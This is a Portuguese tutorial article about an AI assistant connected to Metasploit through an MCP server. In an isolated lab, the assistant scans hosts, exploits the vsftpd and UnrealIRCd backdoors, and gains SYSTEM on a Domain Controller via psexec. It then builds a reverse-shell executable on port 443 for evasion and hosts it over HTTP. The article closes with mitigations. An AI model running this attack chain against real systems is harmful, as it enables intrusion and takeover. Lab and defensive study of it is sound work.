NT-2026.09.30 DOSSIÊ

METASPLOIT MCP: PENTEST AGÊNICO COM ASSISTENTE DE IA DO SCAN AO SYSTEM

Como um assistente de IA conectado ao Metasploit via MCP executa pentest em linguagem natural: scan, exploits vsftpd e UnrealIRCd, psexec com credenciais e payload até SYSTEM no Domain Controller.

Capa tecnica do artigo Metasploit MCP com fluxo de tres blocos: Conectar, Explorar e Persistir

Introdução

O Model Context Protocol (MCP) permite que um assistente de IA como o Claude Desktop saia do campo da conversa e invoque ferramentas externas diretamente. Apontado para um servidor MCP do Metasploit, o assistente vira um multiplicador de força para o operador: interpreta instruções curtas, lembra a sintaxe exata dos módulos, encadeia etapas e reporta resultados em contexto — comprimindo boa parte do atrito que normalmente desacelera um pentest.

Este artigo documenta o percurso completo de um teste de penetração agênico conduzido dessa forma, em um laboratório isolado e de propriedade do autor da demonstração original. Em vez de digitar comandos Metasploit à mão, o operador emite objetivos em linguagem natural — “escaneie 192.168.1.8” ou “explore a porta 21” — e o assistente propõe e executa as ações correspondentes. O Metasploit faz o trabalho; uma porta de aprovação mantém um humano no controle de cada passo ofensivo; e toda ação mira hosts privados do laboratório.

O percurso tem três movimentos: montar a ponte MCP, comprometer o alvo Linux e pivotar para o Domain Controller — e fecha com estratégias concretas de mitigação. Como estas técnicas concedem controle real sobre sistemas reais, elas só devem ser executadas contra ativos que você está explicitamente autorizado a testar.

Ambiente de teste

O engajamento acontece em um único segmento isolado, 192.168.1.0/24, construído no VMware. Uma máquina Kali Linux ataca e hospeda tanto o cliente do assistente quanto o Metasploit Framework. Dois alvos completam o cenário: uma VM Metasploitable 2, Linux intencionalmente vulnerável, e um Domain Controller Windows Server 2019 com Active Directory. Os hosts e seus papéis estão resumidos na tabela abaixo.

Arquitetonicamente, o assistente se comunica com o daemon RPC do Metasploit (msfrpcd) através da ponte MCP, e o Metasploit alcança os alvos pelo segmento do laboratório. Nada neste ambiente é conectado a uma rede de produção — requisito não negociável para qualquer teste com essas ferramentas.

Tabela do ambiente de teste com Kali, Metasploitable 2 e Domain Controller e seus endereços
Tabela do laboratório: hosts, endereços e papéis no segmento isolado 192.168.1.0/24

Construindo a ponte Metasploit MCP

Antes de qualquer ação ofensiva, é preciso conectar o assistente ao Metasploit. O Metasploit MCP — hoje empacotado oficialmente no Kali Linux como metasploitmcp — expõe a interface RPC do framework como ferramentas MCP: run_exploit, run_post_module, list_active_sessions, generate_payload, start_listener, entre outras.

A sequência a seguir instala a ponte, inicia os serviços do framework, implanta o Claude Desktop no Kali e registra o servidor na configuração do assistente. Cada etapa vale por si: a ponte não funciona sem o RPC vivo, e o assistente não enxerga a ponte sem o registro correto no arquivo de configuração.

Instalando o servidor Metasploit MCP

O primeiro passo é instalar a ponte que transforma a interface RPC do Metasploit em ferramentas MCP consumíveis pelo assistente.

sudo apt install metasploitmcp

O pacote oficial do Kali instala o servidor MCP com suas dependências Python (FastAPI, fastmcp, pymetasploit3) e o utilitário metasploitmcp. Na demonstração, a instalação ocorre pelo gerenciador de pacotes e o binário fica disponível no PATH do sistema — o que depois simplifica o registro no assistente, pois o comando a invocar é exatamente metasploitmcp.

Terminal mostrando a instalação do pacote do servidor Metasploit MCP
Instalação do servidor MCP pelo gerenciador de pacotes do Kali

Iniciando o PostgreSQL e o daemon RPC do MSF

O Metasploit depende do PostgreSQL, e a ponte conversa com o framework pelo daemon RPC (msfrpcd). Inicie o banco primeiro; depois lance o RPC bound em localhost. O daemon vai para segundo plano sozinho e reporta um PID vivo.

sudo service postgresql start
msfrpcd -P <msf-password> -S -a 127.0.0.1 -p 55553

A flag -P define a senha de autenticação RPC — a mesma que depois alimenta a variável MSF_PASSWORD do servidor MCP. -S desativa SSL para o teste local, -a fixa o endereço de escuta em 127.0.0.1 (o RPC não fica exposto à rede) e -p escolhe a porta, 55553 por convenção na documentação do projeto. O binding em loopback importa: qualquer cliente que autentique com essa senha controla o framework inteiro.

Terminal com msfrpcd em execução e PID reportado
Daemon RPC do Metasploit ativo em 127.0.0.1:55553 após o início do PostgreSQL

Instalando o Claude Desktop no Kali Linux

O Kali é baseado em Debian, então o pacote adequado para uma instalação 64-bit padrão Intel/AMD é o .deb amd64. Na seção Assets da página de releases, baixe o pacote claude-desktop_1.21459.0_amd64.deb — a versão mostrada na captura da demonstração.

cd Downloads
sudo dpkg -i claude-desktop-unofficial_1.21459.0-3.2.1_amd64.deb

O dpkg -i instala o pacote local: desempacota os arquivos, configura o aplicativo, atualiza o banco do desktop e ajusta as permissões exigidas pelo chrome-sandbox. Uma instalação bem-sucedida devolve o prompt do terminal sem erro fatal. Com o cliente instalado, o próximo bloco é registrá-lo como consumidor da ponte MCP.

Página de releases do cliente desktop com o pacote Debian de 64 bits destacado
Página de releases com o pacote .deb amd64 disponível para download
Terminal com a saída da instalação dpkg do cliente desktop
Instalação do pacote .deb com dpkg concluída sem erro fatal

Abrindo as configurações do Claude Desktop

Depois de lançar o cliente, abra o menu da conta e selecione Settings para alcançar os painéis de configuração. O caminho na interface é curto, mas ele é a porta de entrada para todo o registro seguinte: os servidores MCP locais são gerenciados exatamente aí.

Interface do cliente desktop mostrando o menu Settings
Menu de conta com a opção de configurações aberta

Localizando o painel de servidores MCP locais

Em Settings, abra a aba Developer para acessar os servidores MCP locais e clique em Edit Config. Esse botão abre o arquivo JSON que define os servidores — é nele que a ponte do Metasploit será declarada.

Interface com painel de servidores MCP locais e botão Edit Config
Aba Developer com o painel de servidores MCP locais e o botão de edição

Localizando o arquivo de configuração

O Edit Config aponta para claude_desktop_config.json, no diretório de perfil do Claude:

~/.config/Claude/claude_desktop_config.json

Abra o arquivo em um editor de texto. Qualquer erro de sintaxe JSON aqui derruba todos os servidores MCP do cliente, então edite com cuidado e valide o JSON antes de salvar.

Interface indicando o arquivo JSON de configuração dos servidores MCP
Caminho do arquivo de configuração apontado pelo painel

Revisando a configuração padrão

O arquivo contém inicialmente apenas preferências do cliente — na demonstração, destaca-se o remoteToolsDeviceName com o valor “kali”. O bloco mcpServers que registra o Metasploit será adicionado ao lado dessas configurações, sem alterá-las.

Editor de texto com o JSON de configuração contendo apenas preferências do cliente
Configuração padrão do arquivo com as preferências do cliente

Referenciando o template do MetasploitMCP

A página do projeto MetasploitMCP fornece um template do bloco mcpServers especificando o comando, os argumentos e a variável MSF_PASSWORD. O template de referência usa o uv apontando para um checkout local; a adaptação feita na demonstração troca isso pelo binário do pacote Kali, que já está no PATH. A estrutura — command, args com --transport stdio e env com MSF_PASSWORD — permanece idêntica à documentação do projeto.

Bloco de template de configuração do servidor Metasploit MCP
Template do bloco mcpServers fornecido pela documentação do projeto

Registrando o servidor Metasploit

Com o template em mãos, a configuração final fica assim:

{
  "mcpServers": {
    "metasploit": {
      "command": "metasploitmcp",
      "args": ["--transport", "stdio"],
      "env": {
        "MSF_PASSWORD": "<msf-password>"
      }
    }
  }
}

O command vira metasploitmcp (o binário do pacote Kali, dispensando caminhos absolutos), o transporte é stdio — o modo indicado pelo projeto para clientes com pipe direto, como o Claude Desktop — e MSF_PASSWORD carrega exatamente a senha fornecida ao msfrpcd. Sem esse casamento de credenciais, a ponte autentica no RPC e falha na primeira chamada. Na demonstração, o arquivo aparece preenchido com o bloco completo.

Editor com a configuração final do servidor Metasploit no JSON
Bloco mcpServers registrado com comando, transporte stdio e senha RPC

Confirmando que o servidor está em execução

De volta a Settings, o painel de servidores MCP locais lista metasploit com um selo verde de execução. A ponte está viva e as ferramentas do Metasploit ficam disponíveis ao assistente — que agora pode listar exploits, lançar módulos e gerenciar sessões por conversa.

Painel do cliente mostrando o servidor MCP ativo com indicador de status
Painel de servidores locais listando o Metasploit com selo verde de execução

Cenário 1: comprometendo o alvo Linux

Com a ponte ativa, o assistente é virado contra o host Metasploitable 2 em 192.168.1.8. O objetivo: sair da reconhecência e chegar a um shell de root usando apenas tarefas em linguagem natural — sem digitar um único comando Metasploit.

Solicitando o scan do alvo ao assistente

A primeira tarefa é deliberadamente curta — sem flags, sem nome de módulo. O assistente precisa descobrir o método sozinho.

scan 192.168.1.8

Na captura da demonstração, o assistente interpreta o pedido, planeja a abordagem e propõe a ação antes de executar — cada passo ofensivo passa pela aprovação do operador.

Conversa com o assistente recebendo a tarefa de varredura do alvo
Tarefa de scan em linguagem natural interpretada pelo assistente

Descoberta inicial de portas

O assistente raciocina sobre as próprias restrições — o ambiente não tem Nmap com raw socket —, propõe alternativas, executa um scan pela ponte e devolve as primeiras portas abertas: FTP, SSH, Telnet, SMTP, HTTP, SMB, MySQL e VNC. A resposta vem anotada com o contexto de cada serviço, não apenas como lista bruta de números.

Resposta do assistente com a lista inicial de portas abertas do alvo
Primeiras portas abertas retornadas pelo scan conduzido pelo assistente

O mapa completo de portas

Pedida a varredura completa, o assistente devolve todas as 31 portas abertas e anota o contexto de segurança de cada uma — destacando o vsftpd 2.3.4, a fraqueza usermap_script do Samba, o RCE do distccd, o backdoor do ingreslock e um backdoor no UnrealIRCd.

complete port scan

Esse mapa anotado é o insumo das decisões seguinte: cada serviço flagrado é um candidato a exploração, e o assistente já separou os vulneráveis conhecidos do resto.

Varredura completa com as portas anotadas e serviços vulneráveis destacados
Mapa completo das 31 portas abertas anotadas com contexto de segurança

Explorando o backdoor do vsftpd

Aqui o assistente passa de olhar para agir. O pedido “exploit port 21” é mapeado para o módulo unix/ftp/vsftpd_234_backdoor, que explora o backdoor malicioso inserido no arquivo vsftpd-2.3.4.tar.gz distribuído entre 30 de junho e 3 de julho de 2011 (CVE-2011-2523): um usuário contendo o caractere :) faz o serviço abrir um shell root na porta 6200. O assistente define RHOSTS e pede run_exploit — e a porta de permissão congela a execução até aprovação humana explícita.

exploit port 21

Na captura, o assistente apresenta o módulo escolhido, os parâmetros e a solicitação de aprovação antes de qualquer pacote sair da rede.

Assistente apresentando o módulo escolhido e a solicitação de permissão de execução
Módulo vsftpd_234_backdoor selecionado com RHOSTS e aprovação pendente

Obtendo um shell de root

Aprovada a execução, o backdoor dispara e uma sessão Meterpreter abre como root em metasploitable.localdomain, tunelada a partir do Kali em 192.168.1.17. O primeiro host do laboratório está comprometido — inteiramente por conversa.

Resultado da exploração com a sessão root estabelecida
Sessão Meterpreter root aberta no alvo Linux pelo backdoor do vsftpd

Listando a sessão ativa

O operador confirma o acesso. A ferramenta list_active_sessions reporta uma sessão Meterpreter root viva, pronta para pós-exploração.

list_active_sessions

A demonstração mostra o retorno da ferramenta com o detalhe da sessão — tipo, usuário e host — exatamente como o operador precisaria para decidir o próximo passo.

Saída da listagem de sessões com a sessão root detalhada
Ferramenta de listagem reportando a sessão root ativa

Pós-exploração: enumerando compartilhamentos SMB

O assistente executa um módulo auxiliar SMB, reconhecendo corretamente smb_enumshares como auxiliary — e não como post — e devolve a lista de compartilhamentos, incluindo um tmp gravável por qualquer usuário. No caminho, anota que o Samba 3.0.20 daquele host é vulnerável ao usermap_script (CVE-2007-2447), a injeção de comandos via metacaracteres shell no campo de username quando a opção “username map script” está ativa.

run_post_module scanner/smb/smb_enumshares

A saída da demonstração traz o inventário de shares com o flag de escrita — dado que orienta tanto a movimentação lateral quanto o relatório final.

Resultado do módulo de enumeração com os shares do alvo Linux
Enumeração de compartilhamentos SMB com o share tmp gravável

Encadeando um segundo exploit: UnrealIRCd

Apontado a outro serviço flagrado no mapa de portas, o assistente lança o módulo unix/irc/unreal_ircd_3281_backdoor — o backdoor distribuído no arquivo Unreal3.2.8.1.tar.gz entre novembro de 2009 e 12 de junho de 2010 (CVE-2010-2075), em que qualquer comando precedido de AB; era executado como shell na porta 6667. Uma segunda sessão é criada, demonstrando o encadeamento de múltiplos exploits em sequência — e o assistente registra com franqueza uma peculiaridade de persistência de sessão na camada RPC.

run exploit on port 6667

Na captura da demonstração, o resultado do segundo exploit aparece com a nova sessão listada ao lado da primeira.

Resultado do encadeamento do segundo exploit com a nova sessão listada
Segunda sessão criada pelo exploit do UnrealIRCd na porta 6667

Pivotando para o Domain Controller

Com o host Linux dominado, a atenção vira para o prêmio do laboratório: o Domain Controller Windows em 192.168.1.11. O assistente será conduzido da reconhecência a uma sessão SYSTEM permanente — ainda sem um comando Metasploit digitado à mão.

Consolidando o acesso inicial

O primeiro gesto do pivô é confirmar os dois acessos existentes no host Linux: a sessão Meterpreter root via vsftpd e um command shell via UnrealIRCd — uma base estável de onde partir.

list_active_sessions

A demonstração mostra as duas sessões ativas lado a lado, com seus tipos e origens distintas.

Listagem das sessões ativas com Meterpreter root e command shell
As duas sessões do host Linux confirmadas antes do pivô

Revisando o conjunto de ferramentas do Metasploit

Antes de tocar o Domain Controller, o operador pede ao assistente para enumerar todas as ações Metasploit expostas pela ponte. O inventário cobre o ciclo completo: list_exploits, run_exploit, run_auxiliary_module, run_post_module, generate_payload, start_listener, list_listeners, list_active_sessions, send_session_command e terminate_session — o conjunto documentado do projeto.

all commands

A referência devolvida na demonstração serve de mapa para todo o resto do engajamento: o operador sabe o que pode pedir sem nunca abrir o msfconsole.

Resposta do assistente com todas as ações disponíveis no conector
Inventário completo de ferramentas Metasploit expostas pela ponte

Cenário 2: explorando o Domain Controller

Com o inventário de ferramentas revisado, o assistente vira contra o Domain Controller em 192.168.1.11. O caminho: da varredura classificada à sessão SYSTEM — desta vez por credenciais válidas em vez de backdoor.

Escaneando o Domain Controller

Apontado a 192.168.1.11, o assistente devolve as portas abertas classificadas por serviço: Kerberos (88, 464), LDAP (389, 636), SMB (445), DNS (53) e RPC — a assinatura clássica de um Domain Controller Windows.

port scan 192.168.1.11

A captura da demonstração mostra a varredura com cada porta anotada pelo papel do serviço, a leitura que um pentester faria manualmente — aqui produzida pelo assistente como parte da resposta.

Scan do DC com Kerberos, LDAP, SMB, DNS e RPC identificados
Varredura do Domain Controller com portas classificadas por serviço

Levantando exploits SMB

Perguntado sobre exploits SMB para a porta 445, o assistente lista EternalBlue, MS08-067, SMBGhost e outros, e destaca o caminho por credenciais via windows/smb/psexec como o mais limpo — porque o laboratório já possui credenciais válidas de administrador. Essa é uma distinção técnica relevante: o psexec não explora uma falha de memória; ele autentica com uma conta válida, sobe um serviço e executa um payload — o que o torna a via natural quando a senha já é conhecida.

list_exploits windows port 445

A lista da demonstração inclui os módulos memoráveis por nome, mas o destaque do assistente para o psexec é o que direciona a decisão do operador.

Levantamento de módulos para a porta 445 com a recomendação do assistente
Lista de exploits SMB com o psexec destacado como caminho por credenciais

Fornecendo o alvo

O assistente coleta os parâmetros de forma interativa em vez de adivinhar. Primeiro pergunta o RHOSTS; o operador seleciona o Domain Controller.

RHOSTS → 192.168.1.11

A captura mostra o prompt do assistente com o parâmetro confirmado — o início do diálogo que monta a configuração do módulo passo a passo.

Prompt do assistente confirmando o alvo selecionado
Parâmetro RHOSTS fornecido interativamente ao assistente

Fornecendo credenciais SMB

Como o psexec autentica em vez de explorar um bug, ele precisa de uma conta válida. O operador fornece as credenciais de administrador conhecidas do laboratório pela opção de texto livre.

SMBUser: administrator
SMBPass: <lab-password>

A demonstração registra as opções preenchidas no módulo — usuário e senha prontos para a execução. A escolha deliberada por credenciais em vez de exploit de memória evidencia o que diferencia psexec na prática: sem credencial válida, o módulo simplesmente não existe como caminho.

Opções SMBUser e SMBPass configuradas no módulo psexec
Credenciais SMB preenchidas no módulo pela opção de texto livre

Obtendo uma sessão SYSTEM

O assistente executa o psexec e uma sessão abre com payload windows/meterpreter/reverse_tcp — o serviço malicioso subiu no DC e chamou de volta para o handler do Kali.

Resultado da execução do psexec com a sessão estabelecida no DC
Sessão Meterpreter aberta no Domain Controller via psexec

Confirmando SYSTEM no DC

O sysinfo é decisivo: NT AUTHORITY\SYSTEM em uma máquina chamada DC — o privilégio mais alto do host. O Domain Controller está dominado com a mesma naturalidade do host Linux.

sysinfo

A captura da demonstração exibe a saída do sysinfo com usuário e hostname — a confirmação formal do nível de acesso.

Comando sysinfo executado na sessão com usuário e host exibidos
Saída do sysinfo confirmando NT AUTHORITY SYSTEM na máquina DC

Levantando módulos de pós-exploração

Perguntado sobre quais módulos post valem a pena, o assistente agrupa os módulos Windows mais úteis por objetivo: coleta e reconhecimento (hashdump, enum_shares, credential_collector), escalação de privilégio e persistência.

list post module

A resposta da demonstração organiza os módulos por finalidade, poupando o operador de varrer centenas de nomes no msfconsole.

Listagem de módulos de pós-exploração organizada por finalidade
Módulos post Windows agrupados por objetivo na resposta do assistente

Enumerando compartilhamentos do Domain Controller

Quando um módulo post precisa de uma sessão que caiu entretanto, o assistente explica o timeout e oferece a sequência exata de console para restabelecer a sessão — um fallback transparente que mantém o operador no controle.

run post/windows/gather/enum_shares

Executado o módulo com a sessão restabelecida, a enumeração SMB devolve ADMIN$, C$, IPC$ e os compartilhamentos NETLOGON e SYSVOL — a marca registrada de um Domain Controller limpo e padrão. As duas capturas da demonstração mostram a orientação do assistente para a sessão expirada e, na sequência, o resultado da enumeração com os shares de domínio listados.

Assistente explicando o timeout e a sequência para restabelecer a sessão
Orientação do assistente para restabelecer sessão expirada
Resultado do módulo com os compartilhamentos padrão do Domain Controller
Enumeração de shares com ADMIN$, C$, IPC$, NETLOGON e SYSVOL

Cenário 3: gerando e entregando um payload

Além da exploração ao vivo, o assistente consegue construir um payload autônomo, hospedá-lo e preparar a captura da conexão reversa. Este cenário fecha o ciclo: da geração à sessão de volta pelo listener.

Gerar payload

O operador invoca generate_payload e seleciona windows/meterpreter/reverse_tcp — o mesmo payload da sessão do Cenário 2, agora como executável independente.

A captura da demonstração mostra o assistente apresentando as opções de payload com a seleção confirmada.

Assistente com as opções de payload e a seleção confirmada
Seleção do payload Meterpreter reverso para geração

Escolhendo o formato de saída

Perguntado o formato de saída — exe, ps1, dll ou raw —, o operador escolhe um executável Windows independente.

Selection: exe

A escolha do .exe cabe à entrega planejada: um arquivo único que roda no alvo sem depender de interpretador ou de um stager pré-instalado.

Prompt de formato de saída com a escolha do executável Windows
Formato exe escolhido para o executável autônomo

Definindo o host do listener

Um payload reverse precisa saber para onde chamar. O assistente pede o LHOST; o operador fornece o endereço do Kali.

Selection: LHOST → 192.168.1.17

O endereço vai embutido no executável — erro aqui significa payload que chama para o nada.

Parâmetro LHOST confirmado com o endereço da máquina atacante
Endereço do listener definido como LHOST do payload

Definindo a porta do listener

Para o LPORT, a escolha é 443 — porta que se mistura ao tráfego HTTPS e raramente é bloqueada na saída.

Selection: LPORT → 443

A justificativa é de evasão de perímetro: um callback em 443 passa despercebido no meio do tráf TLS legítimo — o mesmo raciocínio que um operador aplicaria manualmente.

Parâmetro LPORT confirmado com a porta de callback
Porta 443 definida como LPORT para se misturar ao tráfego HTTPS

Gerando o payload

O assistente produz o executável e reporta o resultado: um arquivo de 7.168 bytes sob /home/kali/payloads/, com LHOST e LPORT embutidos, e o lembrete de iniciar o listener antes da entrega. O diretório padrão é o ~/payloads documentado pelo projeto — configurável pela variável PAYLOAD_SAVE_DIR.

Resultado da geração com o caminho e o tamanho do arquivo
Executável de 7168 bytes gerado com LHOST e LPORT embutidos

Hospedando o payload

Para entregar o arquivo, o operador desce ao terminal do Kali, confirma o executável e o serve por HTTP simples:

cd payloads
ls -al
python3 -m http.server

O log do http.server mostra o Domain Controller em 192.168.1.11 baixando o arquivo — a entrega registrada linha a linha. O python3 -m http.server serve o diretório corrente na porta 8000; o ls -al confirma o tamanho e o nome do executável antes da exposição.

Terminal com o servidor HTTP e o log do download pelo DC
Servidor HTTP entregando o executável com o download registrado em log

Iniciando o handler

De volta ao assistente, o operador inicia o listener correspondente com start_listener. O assistente pede a ação — especificando payload, LHOST e LPORT 443 — e a porta de permissão exige aprovação explícita mais uma vez.

start_listener

A captura mostra o pedido formal do assistente com os três parâmetros do multi/handler e a espera de aprovação — a mesma barreira humana de todos os passos ofensivos.

Assistente pedindo permissão para armar o handler reverso
Solicitação do listener com payload, LHOST e LPORT 443 pendendo aprovação

Listar sessões ativas

Quando o executável entregue roda no alvo, ele chama de volta e uma sessão Meterpreter nova aparece — de 192.168.1.11 como IGNITE\administrator no DC, sobre o listener 192.168.1.17:443. A cadeia completa, do scan ao acesso permanente, foi dirigida inteiramente por conversa.

list_active_sessions

A captura final da demonstração exibe a sessão viva com origem, usuário e listener — o fechamento do ciclo ofensivo completo.

Listagem final com a sessão Meterpreter viva do Domain Controller
Sessão final de administrator no DC sobre o listener 443

Estratégias de mitigação

Cada fraqueza explorada neste engajamento é bem conhecida e inteiramente defensável.

Serviços legados e gestão de vulnerabilidade. Software como vsftpd 2.3.4, UnrealIRCd e Samba 3.0.x está muito além do fim de vida e deve ser corrigido ou aposentado; qualquer serviço sem necessidade ativa deve ser removido. Gestão contínua de vulnerabilidades garante que versões sabidamente ruins sejam capturadas quando reaparecem, em vez de ficarem à espera de um atacante.

Exposição de serviços e segmentação. Reduzir a superfície significa segmentar a rede para que uma máquina comprometida não alcance tudo, aplicar regras estritas de firewall de entrada e saída e fechar toda porta sem propósito documentado. Uma porta aberta sem justificativa é só mais uma coisa para um atacante sondar.

Identidade e movimentação lateral. O passo mais danoso do engajamento foi a movimentação lateral por credenciais via psexec — e as mitigações aqui são de identidade: senhas fortes e únicas, modelo de administração em camadas para que credenciais de alto privilégio nunca toquem sistemas de menor confiança, LAPS para as senhas de administrador local e restrição de quais contas podem autenticar nos domain controllers.

SMB e shares administrativos. Exigir assinatura SMB, desativar o SMBv1 obsoleto, remover compartilhamentos graváveis por qualquer um e aplicar privilégio mínimo às permissões de share fecham uma das vias mais comuns de movimentação lateral e acesso a dados.

Endpoint e delivery de payload. O objetivo é quebrar a cadeia de entrega do EXE por HTTP com callback na 443: EDR com análise comportamental, allow-listing de aplicações e bloqueio de binários não assinados elevam o custo da execução; alertas sobre conexões de saída anômalas — inclusive tráfego malicioso escondido na 443 — pegam o que escapar.

Uso de agentes de IA. O próprio engajamento foi dirigido por ferramenta agênica, e a capacidade corta nos dois sentidos. Defensivamente: manter o humano na cadeia de aprovação em vez de deixar o agente agir sozinho, registrar e auditar toda chamada de ferramenta MCP e restringir quais conectores são habilitados. A saída de um agente deve ser tratada como não confiável por padrão — e a mesma automação que alimenta o teste ofensivo pode ser apontada ao time azul para engenharia de detecção e validação contínua.

Em camadas, esses controles quebram a cadeia em vários pontos: um atacante que não alcança um serviço vulnerável, não recupera uma credencial privilegiada, não se move lateralmente sem ser notado e não faz o payload tocar o chão não reproduz o resultado demonstrado.

Conclusão

Em um único fluxo conectado, um assistente de IA saiu de um prompt vazio para um shell root em um host Linux e uma sessão SYSTEM em um Domain Controller — escaneando, explorando, enumerando e entregando payload, tudo por linguagem natural. O Metasploit executou a exploração; o assistente forneceu orquestração e memória de sintaxe; e um humano aprovou cada passo ofensivo.

Esse equilíbrio é a lição real. Ferramenta agênica comprime um engajamento inteiro em uma conversa e rebaixa o piso de habilidade do ataque — mas a mesma integração pode automatizar detecção, validação e relatório para defensores. A vantagem fica com quem adotar mais deliberadamente. Usada com responsabilidade, com autorização e um humano firme no circuito, uma assistente dessas é uma alavanca poderosa; usada descuidadamente, é um aviso. A escolha, como sempre, é do operador.